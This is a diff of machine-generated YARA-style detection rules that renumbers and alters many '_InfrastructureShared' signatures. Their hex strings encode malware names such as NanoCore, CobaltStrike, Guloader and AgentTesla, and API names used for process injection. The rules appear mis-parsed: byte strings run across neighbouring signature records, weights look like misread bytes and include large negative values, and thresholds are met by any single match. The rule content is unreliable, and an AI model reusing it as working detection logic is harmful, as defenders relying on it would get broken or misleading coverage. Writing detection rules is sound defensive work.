3f 8d 3f 2a c3 90 13 8d 3f 8d 3f 32 c3 8d 3f 90 00 02 00 2a 03 8d 3f 8d 3f 2a c3 8d 3f 90 13 8d 3f 8d 3f c0 c0 4b 8d 3f } //11897 + $a_3f_5 = {8d 3f 8d 3f 90 13 8d 3f 83 c1 ff 90 13 ac 8d 3f 90 00 00 00 78 82 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 43 6f 72 65 2e 41 21 4d 54 42 00 02 00 16 01 02 18 18 73 76 00 00 0a 1a 2d 11 26 03 17 59 17 58 8d 22 00 00 01 02 00 13 01 11 05 17 59 17 58 8d 22 00 00 01 0a 11 04 06 16 06 8e b7 01 00 24 01 34 63 65 62 33 34 33 63 2d 61 33 38 63 2d 34 33 34 33 2d 61 66 30 62 2d 33 } //5008 + condition: + ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_07_3 & 1)*0+(#a_45_4 & 1)*11897+(#a_3f_5 & 1)*5008) >=4 + +} +rule _InfrastructureShared_9016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -90453,7 +95990,7 @@ rule _InfrastructureShared_8502{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_8503{ +rule _InfrastructureShared_9017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -90464,31 +96001,19 @@ rule _InfrastructureShared_8503{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*-29421) >=5 } -rule _InfrastructureShared_8504{ +rule _InfrastructureShared_9018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 43 6f 72 65 2e 41 21 4d 54 42 00 02 00 16 01 02 18 18 73 76 00 00 0a 1a 2d 11 26 03 17 59 17 58 8d 22 00 00 01 02 00 13 01 11 05 17 59 17 58 8d 22 00 00 01 0a } //21539 $a_16_1 = {8e b7 01 00 24 01 } //1041 - $a_62_2 = {34 33 63 2d 61 33 38 63 2d 34 33 34 33 2d 61 66 30 62 2d 33 39 34 65 62 36 61 37 33 63 35 37 00 00 78 82 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 70 65 65 64 69 6e 67 55 70 4d 79 50 43 2e 61 77 33 30 00 02 00 19 80 01 74 6f 74 61 6c 70 63 63 61 72 65 2e 63 6f 6d 2f 6c } //25396 + $a_62_2 = {34 33 63 2d 61 33 38 63 2d 34 33 34 33 2d 61 66 30 62 2d 33 39 34 65 62 36 61 37 33 63 35 37 00 00 78 82 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 47 6f 43 61 72 62 6f 6e 2e 41 21 64 68 61 00 01 00 0a 01 67 6f 70 68 65 72 2d 6c 75 61 } //25396 condition: ((#a_4c_0 & 1)*21539+(#a_16_1 & 1)*1041+(#a_62_2 & 1)*25396) >=5 } -rule _InfrastructureShared_8505{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " - - strings : - $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 70 65 65 64 69 6e 67 55 70 4d 79 50 43 2e 61 77 33 30 00 02 00 19 80 01 74 6f 74 61 6c 70 63 63 61 72 65 2e 63 6f 6d 2f 6c 69 76 65 2d 63 68 61 74 01 00 0c 80 01 61 76 71 74 6f 6f 6c 73 2e 63 6f } //16675 - $a_73_2 = {67 65 53 74 61 74 2e 69 6e 69 01 00 10 80 01 52 65 63 65 69 76 65 4c 69 6e 6b 53 70 65 65 64 00 00 78 82 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 47 6f 43 61 72 62 6f 6e 2e 41 21 64 68 } //384 - $a_00_3 = {0a } //97 - condition: - ((#a_46_0 & 1)*16675+(#a_73_2 & 1)*384+(#a_00_3 & 1)*97) >=5 - -} -rule _InfrastructureShared_8506{ +rule _InfrastructureShared_9019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -90497,26 +96022,40 @@ rule _InfrastructureShared_8506{ $a_66_1 = {72 73 74 52 75 6e 01 00 08 01 6d 61 69 6e 2e 78 6f 72 01 00 0d 01 6d 61 69 6e 2e 43 6f 70 79 46 69 6c 65 00 00 78 82 00 00 05 00 05 00 05 } //28265 $a_41_2 = {46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 72 65 52 75 6e 6e 65 72 2e 42 21 64 68 61 00 01 } //8448 $a_79_3 = {69 } //1792 i - $a_33_4 = {00 0c 01 48 74 74 70 4c 69 73 74 65 6e 65 72 01 00 14 01 67 65 74 5f 43 6f 6d 70 69 6c 65 64 41 73 73 65 6d 62 6c 79 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0a 01 43 6f 6e 66 75 73 65 72 45 78 00 00 78 82 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 44 21 4d 54 42 00 } //30023 + $a_33_4 = {00 0c 01 48 74 74 70 4c 69 73 74 65 6e 65 72 01 00 14 01 67 65 74 5f 43 6f 6d 70 69 6c 65 64 41 73 73 65 6d 62 6c 79 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0a 01 43 6f 6e 66 75 73 65 72 45 78 00 00 78 82 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4b 31 21 4d 54 42 } //30023 condition: ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*28265+(#a_41_2 & 1)*8448+(#a_79_3 & 1)*1792+(#a_33_4 & 1)*30023) >=5 } -rule _InfrastructureShared_8507{ +rule _InfrastructureShared_9020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6f 72 65 52 75 6e 6e 65 72 2e 42 21 64 68 61 00 01 00 07 01 79 68 69 47 75 72 33 01 00 0c 01 48 74 74 70 4c 69 73 74 65 6e 65 72 01 00 14 01 67 65 74 5f 43 6f 6d 70 69 6c 65 64 41 } //16675 - $a_6d_1 = {6c 79 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0a 01 43 6f 6e 66 75 73 65 72 45 78 00 00 78 82 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 44 21 4d 54 42 00 05 00 4f 03 03 50 06 17 28 90 01 03 0a 28 90 01 03 0a 1f 0a 02 47 da 61 } //29555 - $a_18_2 = {16 33 08 09 02 47 } //3509 ㌖ई䜂 - $a_2b_3 = {09 02 47 59 b5 0d 08 09 28 90 01 03 0a } //-19112 - $a_03_4 = {0a } //-28632 + $a_6d_1 = {6c 79 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0a 01 43 6f 6e 66 75 73 65 72 45 78 00 00 78 82 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4b 31 21 4d 54 42 00 01 00 09 81 01 62 61 6e 65 6d 72 6b 65 72 01 00 0b 81 01 66 61 63 74 } //29555 + $a_2e_2 = {78 65 01 00 0c 81 01 70 6c 61 6e 69 72 6f 73 74 72 61 6c 01 00 14 81 01 46 61 6c 73 69 66 69 63 65 72 65 64 65 32 30 30 2e 7a 69 70 01 00 0e 81 01 73 68 61 6d 70 6f 6e 65 72 65 6e 64 65 73 00 00 78 82 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 44 21 4d 54 42 00 05 00 4f 03 03 50 06 17 28 90 01 03 0a 28 90 } //26994 + $a_1f_3 = {02 47 da 61 b5 0d 06 18 5d 16 } //769 + $a_02_4 = {47 58 b5 0d 2b 06 09 02 47 } //2099 condition: - ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29555+(#a_18_2 & 1)*3509+(#a_2b_3 & 1)*-19112+(#a_03_4 & 1)*-28632) >=5 + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29555+(#a_2e_2 & 1)*26994+(#a_1f_3 & 1)*769+(#a_02_4 & 1)*2099) >=5 } -rule _InfrastructureShared_8508{ +rule _InfrastructureShared_9021{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 4b 31 21 4d 54 42 00 01 00 09 81 01 62 61 6e 65 6d 72 6b 65 72 01 00 0b 81 01 66 61 63 74 72 69 78 2e 65 78 65 01 00 0c 81 01 70 6c 61 6e 69 72 6f 73 74 72 61 6c 01 00 14 81 01 46 61 6c 73 69 66 } //18467 + $a_72_1 = {64 65 32 30 30 2e 7a 69 70 01 00 0e 81 01 73 68 61 6d 70 6f 6e 65 72 65 6e 64 65 73 00 00 78 82 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 53 44 21 4d 54 42 00 05 00 4f 03 03 50 06 17 28 90 01 03 0a 28 90 01 03 0a 1f 0a 02 47 da 61 b5 0d 06 18 5d 16 33 } //25449 + $a_47_2 = {b5 0d } //2312 + $a_02_3 = {47 59 b5 0d 08 09 28 90 01 } //1579 + $a_90_4 = {03 0a 28 90 01 03 0a 0c 06 17 d6 b4 0a 06 03 50 28 90 01 03 0a 17 d6 33 b3 90 00 01 00 05 00 77 6d 63 73 7a 00 00 78 82 } //2563 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25449+(#a_47_2 & 1)*2312+(#a_02_3 & 1)*1579+(#a_90_4 & 1)*2563) >=5 + +} +rule _InfrastructureShared_9022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -90527,19 +96066,46 @@ rule _InfrastructureShared_8508{ ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*2061) >=6 } -rule _InfrastructureShared_8509{ +rule _InfrastructureShared_9023{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 47 42 56 4c 21 4d 54 42 00 02 00 1b 01 6a ac 97 d1 0b 7a 34 f3 50 67 d8 a7 45 53 7a ca b6 e6 fb ca 8f 59 31 a7 00 97 fa 02 00 20 } //21539 + $a_8f_1 = {97 12 } //18433 + $a_b3_2 = {69 b4 9b 4f a9 79 2f 95 47 5d a2 de 19 5b 80 bb bb af ff 8e 86 02 00 0a 01 47 6f 20 72 75 6e 74 69 6d 65 00 00 78 82 00 00 06 00 06 00 04 00 } //-1210 + condition: + ((#a_4c_0 & 1)*21539+(#a_8f_1 & 1)*18433+(#a_b3_2 & 1)*-1210) >=6 + +} +rule _InfrastructureShared_9024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 57 4c 53 54 41 52 54 00 02 00 25 80 01 57 4c 53 54 41 52 54 5c 57 4c 53 54 41 52 54 5c 6f 62 6a 5c 44 65 62 75 67 5c 57 4c 53 54 41 52 54 2e 70 64 62 02 00 0b 80 01 57 4c 53 54 41 52 54 2e 65 78 65 01 00 1b 80 01 57 69 6e 4c 49 4d 53 20 2e 4e 65 74 20 2d 20 53 6d 61 72 74 20 43 6c 69 65 6e 74 01 00 07 80 } //16675 - $a_53_1 = {41 52 54 00 00 78 82 00 00 06 00 06 00 06 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 45 44 46 4c 41 52 45 5f 31 2e 41 21 69 62 74 00 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e } //22273 - $a_74_3 = {70 01 00 04 80 01 66 69 6e 69 01 00 0e 80 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 12 80 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 82 00 00 08 00 08 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 05 00 28 01 0a 16 0b 2b } //384 + $a_53_1 = {41 52 54 00 00 78 82 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 41 31 21 4d 54 42 00 01 00 08 81 01 75 6e 67 6b 61 72 6c 65 01 00 0a 81 01 64 67 6e 6b 69 6f 73 6b 65 6e 01 00 } //22273 + $a_75_2 = {65 } //-32496 e + $a_73_3 = {65 6c 69 67 68 65 64 73 01 00 08 81 01 73 6e 65 72 6c 65 6e 73 01 00 0b 81 01 73 6c 61 67 67 65 62 65 74 6f 6e 01 00 08 81 01 6e 65 64 74 6f 6e 65 72 00 00 78 82 00 00 06 00 06 00 06 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 45 44 46 4c 41 52 45 5f 31 2e 41 21 69 62 74 00 01 00 0a 80 01 69 6e } //28270 condition: - ((#a_6c_0 & 1)*16675+(#a_53_1 & 1)*22273+(#a_74_3 & 1)*384) >=6 + ((#a_6c_0 & 1)*16675+(#a_53_1 & 1)*22273+(#a_75_2 & 1)*-32496+(#a_73_3 & 1)*28270) >=6 } -rule _InfrastructureShared_8510{ +rule _InfrastructureShared_9025{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 41 31 21 4d 54 42 00 01 00 08 81 01 75 6e 67 6b 61 72 6c 65 01 00 0a 81 01 64 67 6e 6b 69 6f 73 6b 65 6e 01 00 10 81 01 75 6d 65 6e 6e 65 73 6b 65 6c 69 67 68 65 64 73 01 00 08 81 01 73 6e 65 72 } //18467 + $a_73_1 = {00 0b 81 01 73 6c 61 67 67 65 62 65 74 6f 6e 01 00 08 81 01 6e 65 64 74 6f 6e 65 72 00 00 78 82 00 00 06 00 06 00 06 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 45 44 46 4c 41 52 45 5f 31 2e 41 21 69 62 74 00 01 00 0a 80 01 69 6e 69 74 69 61 6c 69 7a 65 01 00 0a 80 01 72 75 6e 43 6f 6d 6d 61 6e 64 01 00 04 80 01 73 74 6f } //25964 + $a_69_3 = {69 01 00 0e 80 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 01 00 12 80 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 82 00 00 08 00 08 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 21 4d 54 42 00 05 00 28 01 } //384 + $a_2b_4 = {00 06 07 06 07 91 20 25 03 00 00 } //5642 + $a_00_5 = {07 17 58 0b 07 06 8e 69 fe 04 0c 08 2d e3 06 0d 2b 00 09 2a 01 00 06 80 01 61 6d 61 74 72 73 01 00 09 80 01 77 61 6b 6b 66 68 38 67 61 01 00 05 80 01 53 6c 65 65 70 00 00 78 82 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 39 38 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 06 00 42 69 74 6d 61 70 01 00 07 00 54 6f 57 69 6e 33 32 01 00 05 00 00 57 30 32 00 01 00 05 00 00 } //-11687 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25964+(#a_69_3 & 1)*384+(#a_2b_4 & 1)*5642+(#a_00_5 & 1)*-11687) >=6 + +} +rule _InfrastructureShared_9026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -90551,7 +96117,7 @@ rule _InfrastructureShared_8510{ ((#a_6f_0 & 1)*21539+(#a_00_3 & 1)*8+(#a_6f_4 & 1)*21562) >=6 } -rule _InfrastructureShared_8511{ +rule _InfrastructureShared_9027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -90564,7 +96130,7 @@ rule _InfrastructureShared_8511{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*-32762+(#a_01_2 & 1)*29300+(#a_00_3 & 1)*12375) >=8 } -rule _InfrastructureShared_8512{ +rule _InfrastructureShared_9028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -90572,14 +96138,14 @@ rule _InfrastructureShared_8512{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 39 38 21 4d 54 42 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 06 00 42 69 74 6d 61 70 01 00 07 00 54 6f 57 69 6e 33 32 01 00 05 00 00 57 30 32 00 01 00 05 00 00 } //18467 $a_00_1 = {01 00 05 00 00 57 30 34 00 01 00 05 81 01 00 63 79 7a 00 01 00 05 81 01 00 78 73 61 00 00 00 78 82 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f } //12375 $a_3a_2 = {53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 5a 21 4d 54 42 00 0a 00 4f 02 11 07 11 08 9a 13 09 00 11 09 6f 90 01 04 16 fe 01 13 0b 11 0b 2c 02 2b 2c 11 09 72 90 01 03 70 28 90 01 04 13 0c 11 0c 2c 02 2b 18 11 09 28 90 01 04 28 90 01 04 13 0a 09 11 0a 6f 90 01 04 00 00 11 08 17 58 13 08 11 08 11 07 8e 69 90 00 00 00 78 } //24938 - $a_54_5 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 42 00 0a 00 55 03 11 2e } //8448 - $a_2d_6 = {58 28 90 01 01 00 00 0a 72 f8 00 00 70 28 90 01 01 } //11025 - $a_6f_7 = {01 01 00 00 0a 28 90 01 01 00 } //0 + $a_54_5 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 4c 56 21 4d 54 42 00 0a 00 56 03 11 08 11 } //8448 + $a_6f_6 = {01 01 00 00 0a 9e } //4361 + $a_17_7 = {13 09 11 09 11 08 8e 69 fe } //4352 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12375+(#a_3a_2 & 1)*24938+(#a_54_5 & 1)*8448+(#a_2d_6 & 1)*11025+(#a_6f_7 & 1)*0) >=8 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12375+(#a_3a_2 & 1)*24938+(#a_54_5 & 1)*8448+(#a_6f_6 & 1)*4361+(#a_17_7 & 1)*4352) >=8 } -rule _InfrastructureShared_8513{ +rule _InfrastructureShared_9029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -90589,17 +96155,17 @@ rule _InfrastructureShared_8513{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8514{ +rule _InfrastructureShared_9030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 75 6d 6d 61 63 2e 50 47 4c 21 4d 54 42 00 0a 00 55 03 11 2e 11 2b 11 2d 91 58 28 90 01 01 00 00 0a 72 f8 00 00 70 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 28 90 01 01 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 5a 4c 56 21 4d 54 42 00 0a 00 56 03 11 08 11 09 11 06 6f 90 01 01 00 00 0a 9e 00 11 09 17 58 13 09 11 09 11 08 8e 69 fe 04 13 14 11 14 2d de 16 13 0a 00 } //21539 condition: ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_8515{ +rule _InfrastructureShared_9031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -90610,7 +96176,7 @@ rule _InfrastructureShared_8515{ ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*2311) >=10 } -rule _InfrastructureShared_8516{ +rule _InfrastructureShared_9032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -90629,7 +96195,7 @@ rule _InfrastructureShared_8516{ ((#a_54_0 & 1)*18467+(#a_fb_2 & 1)*-14847+(#a_54_3 & 1)*8530+(#a_69_4 & 1)*29797+(#a_70_5 & 1)*31278+(#a_01_6 & 1)*2560+(#a_45_7 & 1)*25970+(#a_23_8 & 1)*1+(#a_6c_9 & 1)*28275+(#a_65_10 & 1)*24943) >=10 } -rule _InfrastructureShared_8517{ +rule _InfrastructureShared_9033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -90641,7 +96207,7 @@ rule _InfrastructureShared_8517{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-224+(#a_42_2 & 1)*17742) >=12 } -rule _InfrastructureShared_8518{ +rule _InfrastructureShared_9034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -90655,7 +96221,7 @@ rule _InfrastructureShared_8518{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*23664+(#a_41_2 & 1)*20000+(#a_2d_3 & 1)*12333+(#a_74_4 & 1)*24948) >=12 } -rule _InfrastructureShared_8519{ +rule _InfrastructureShared_9035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 03 00 21 " @@ -90667,7 +96233,7 @@ rule _InfrastructureShared_8519{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_41_2 & 1)*3584) >=15 } -rule _InfrastructureShared_8520{ +rule _InfrastructureShared_9036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -90679,7 +96245,7 @@ rule _InfrastructureShared_8520{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*18177+(#a_44_2 & 1)*29283) >=300 } -rule _InfrastructureShared_8521{ +rule _InfrastructureShared_9037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90689,7 +96255,7 @@ rule _InfrastructureShared_8521{ ((#a_48_0 & 1)*12067) >=1 } -rule _InfrastructureShared_8522{ +rule _InfrastructureShared_9038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90699,7 +96265,7 @@ rule _InfrastructureShared_8522{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8523{ +rule _InfrastructureShared_9039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90709,7 +96275,7 @@ rule _InfrastructureShared_8523{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8524{ +rule _InfrastructureShared_9040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90719,7 +96285,7 @@ rule _InfrastructureShared_8524{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8525{ +rule _InfrastructureShared_9041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90729,7 +96295,7 @@ rule _InfrastructureShared_8525{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8526{ +rule _InfrastructureShared_9042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90739,7 +96305,7 @@ rule _InfrastructureShared_8526{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8527{ +rule _InfrastructureShared_9043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90749,7 +96315,7 @@ rule _InfrastructureShared_8527{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8528{ +rule _InfrastructureShared_9044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90759,7 +96325,7 @@ rule _InfrastructureShared_8528{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8529{ +rule _InfrastructureShared_9045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90769,7 +96335,7 @@ rule _InfrastructureShared_8529{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8530{ +rule _InfrastructureShared_9046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90779,7 +96345,7 @@ rule _InfrastructureShared_8530{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8531{ +rule _InfrastructureShared_9047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90789,7 +96355,7 @@ rule _InfrastructureShared_8531{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8532{ +rule _InfrastructureShared_9048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90799,7 +96365,7 @@ rule _InfrastructureShared_8532{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8533{ +rule _InfrastructureShared_9049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90809,7 +96375,7 @@ rule _InfrastructureShared_8533{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8534{ +rule _InfrastructureShared_9050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90819,7 +96385,7 @@ rule _InfrastructureShared_8534{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8535{ +rule _InfrastructureShared_9051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90829,7 +96395,7 @@ rule _InfrastructureShared_8535{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8536{ +rule _InfrastructureShared_9052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90839,7 +96405,7 @@ rule _InfrastructureShared_8536{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8537{ +rule _InfrastructureShared_9053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90849,7 +96415,7 @@ rule _InfrastructureShared_8537{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8538{ +rule _InfrastructureShared_9054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90859,7 +96425,7 @@ rule _InfrastructureShared_8538{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8539{ +rule _InfrastructureShared_9055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90869,7 +96435,7 @@ rule _InfrastructureShared_8539{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8540{ +rule _InfrastructureShared_9056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -90879,7 +96445,7 @@ rule _InfrastructureShared_8540{ ((#a_4c_0 & 1)*21539) >=1 } -rule 